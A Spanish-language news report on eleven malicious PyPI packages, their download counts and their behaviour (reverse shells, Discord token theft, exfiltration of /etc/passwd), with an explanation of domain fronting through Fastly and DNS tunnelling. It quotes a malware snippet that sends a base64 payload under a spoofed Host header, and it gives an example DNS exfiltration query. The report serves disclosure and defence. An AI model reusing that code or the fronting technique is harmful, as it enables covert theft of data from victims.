En el catálogo PyPI (Índice de Paquetes de Python) se han identificado 11 paquetes que contienen código malicioso. Antes de detectar los problemas, estos paquetes se descargaron aproximadamente 38 mil veces. Los paquetes maliciosos identificados son notables por sus elaboradas técnicas de ocultación de los canales de comunicación con los servidores de los atacantes.
- importantpackage (6305 descargas), important-package (12897) — establecían conexión con un servidor externo haciéndose pasar por una conexión a pypi.python.org para proporcionar acceso por shell a la sistema (reverse shell) y utilizaban el programa trevorc2 para ocultar el canal de comunicación.
- pptest (10001), ipboards (946) — utilizaron DNS como canal de comunicación para transmitir información del sistema (en el primer paquete, el nombre del host, el directorio de trabajo, la IP interna y externa; en el segundo — el nombre de usuario y del host).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — identificaban en el sistema el token del servicio Discord y lo enviaban a un host externo.
- trrfab (287) — enviaba al host externo el identificador, el nombre del host y el contenido de /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) — establecía una conexión de shell inverso con un host externo.
- yandex-yt (4183) — mostraba un mensaje sobre la posible compromisión del sistema y redirigía a una página con información adicional sobre los pasos a seguir, proporcionada a través de nda.ya.ru (api.ya.cc).
Es especialmente notable el método de acceso a hosts externos utilizado en los paquetes importantpackage e important-package, que usaron la red de entrega de contenido Fastly para ocultar su actividad en el catálogo de PyPI. De hecho, las solicitudes se enviaban al servidor pypi.python.org (incluyendo el nombre python.org en SNI dentro de la solicitud HTTPS), pero el encabezado HTTP 'Host' se configuraba con el nombre del servidor bajo control de los atacantes (sec.forward.io.global.prod.fastly.net). La red de entrega de contenido redirigía dicha solicitud al servidor de los atacantes, utilizando los parámetros de conexión TLS con pypi.python.org.
La infraestructura de PyPI opera utilizando la red de entrega de contenido Fastly, donde un proxy transparente Varnish se utiliza para almacenar en caché las solicitudes típicas, y donde también se procesan los certificados TLS a nivel de CDN, y no en los servidores finales, para organizar la redirección de solicitudes HTTPS a través del proxy. Independientemente del host objetivo, las solicitudes se dirigen al proxy, que determina el host necesario según el encabezado HTTP 'Host', y nombres de dominio Los hosts se vinculan a direcciones IP comunes para todos los clientes de los balanceadores de carga CDN de Fastly.
El servidor de los atacantes también se registra en CDN Fastly, que ofrece planes tarifarios gratuitos a todos los interesados e incluso permite el registro anónimo. Es notable que para enviar solicitudes a la víctima al crear un 'reverse shell' se utiliza también el esquema, pero iniciado por el host de los atacantes. Desde el lado del atacante, la interacción con el servidor parece ser una sesión legítima con el catálogo de PyPI, cifrada utilizando un certificado TLS PyPI. Esta técnica, conocida como 'domain fronting', se utilizó anteriormente para ocultar el nombre del host al eludir bloqueos, aprovechando la capacidad que algunas redes CDN ofrecen para realizar solicitudes HTTPS especificando un host ficticio en el SNI, mientras que el nombre real del host solicitado se transmite en el encabezado HTTP Host dentro de la sesión TLS.

Para ocultar la actividad maliciosa, se utilizó además el paquete TrevorC2, que permite hacer que la interacción con el servidor se asemeje a la navegación web normal; por ejemplo, las solicitudes maliciosas se enviaban bajo la apariencia de descargar una imagen "https://pypi.python.org/images/guid=" codificando la información en el parámetro guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
En los paquetes pptest e ipboards se utilizó un enfoque diferente para ocultar la actividad de la red, basado en codificar información útil en las solicitudes al servidor DNS. El malware transmite información ejecutando consultas DNS del tipo "nu4timjagq4fimbuhe.example.com", en las cuales se ha codificado en formato base64 los datos transferidos al servidor de control en el nombre del subdominio. El atacante recibe los datos del mensaje controlando el servidor DNS para el dominio example.com.
Fuente: opennet.ru
